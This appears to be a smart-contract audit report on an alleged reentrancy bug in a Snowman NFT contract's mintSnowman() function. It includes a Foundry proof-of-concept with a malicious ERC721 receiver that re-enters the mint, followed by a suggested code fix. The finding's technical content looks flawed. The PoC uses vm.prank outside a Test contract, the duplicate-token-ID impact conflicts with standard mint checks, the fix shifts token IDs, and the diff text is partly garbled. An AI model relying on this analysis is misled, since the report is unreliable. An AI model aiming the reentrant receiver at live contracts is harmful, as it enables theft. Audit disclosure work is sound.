Root + Impact
Description
-
Describe the normal behavior in one or more sentences
-
The mintSnowman() function should mint NFTs sequentially with unique token IDs, incrementing the counter after each successful mint.
-
Explain the specific issue or problem in one or more sentences
-
The function increments s_TokenCounter AFTER the _safeMint() call, which triggers an external callback to the receiver. A malicious receiver contract can re-enter mintSnowman() during the callback, minting multiple NFTs with the same token ID before the counter is incremented.
function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Risk
Likelihood:
Reason 1: Any owner-privileged address calling mintSnowman() with a malicious contract address can trigger reentrancy. The _safeMint() function always calls onERC721Received on contract receivers, providing a guaranteed callback point.
Reason 2: The attack is straightforward to execute and requires no special conditions beyond having owner privileges or the owner minting to a malicious contract address.
Impact:
Impact 1: Token ID collision - Multiple NFTs can be minted with the same token ID, breaking the uniqueness assumption and potentially causing loss of NFTs when duplicate IDs overwrite previous ones.
Impact 2: Protocol state corruption - The s_TokenCounter can become desynchronized from the actual number of minted tokens, breaking internal accounting and potentially causing failures in functions that rely on accurate token counts.
Proof of Concept
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract MaliciousReceiver is IERC721Receiver {
Snowman public snowman;
address public owner;
uint256 public attackCount;
bool public attacking;
constructor(address _snowman, address _owner) {
snowman = Snowman(_snowman);
owner = _owner;
}
function onERC721Received(
address,
address,
uint256 tokenId,
bytes memory
) external returns (bytes4) {
if (!attacking && attackCount < 3) {
attacking = true;
attackCount++;
console.log("Reentering! Token counter before:", snowman.getTokenCounter());
vm.prank(owner);
snowman.mintSnowman(address(this), 1);
attacking = false;
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract ReentrancyTest is Test {
Snowman snowman;
MaliciousReceiver attacker;
address owner = makeAddr("owner");
function setUp() public {
vm.prank(owner);
snowman = new Snowman("ipfs://snowman");
attacker = new MaliciousReceiver(address(snowman), owner);
}
function testReentrancyAttack() public {
vm.startPrank(owner);
console.log("Initial token counter:", snowman.getTokenCounter());
snowman.mintSnowman(address(attacker), 1);
uint256 finalCounter = snowman.getTokenCounter();
console.log("Final token counter:", finalCounter);
console.log("Attacker balance:", snowman.balanceOf(address(attacker)));
assertTrue(attacker.attackCount() > 0, "Reentrancy occurred");
vm.stopPrank();
}
}
Recommended Mitigation
- remove this codefunction mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
- // Remove this code - external call before state change
- _safeMint(receiver, s_TokenCounter);
- emit SnowmanMinted(receiver, s_TokenCounter);
- s_TokenCounter++;
+ // Add this code - state change before external call
+ s_TokenCounter++;
+ _safeMint(receiver, s_TokenCounter);
+ emit SnowmanMinted(receiver, s_TokenCounter);
}
}
+ add this code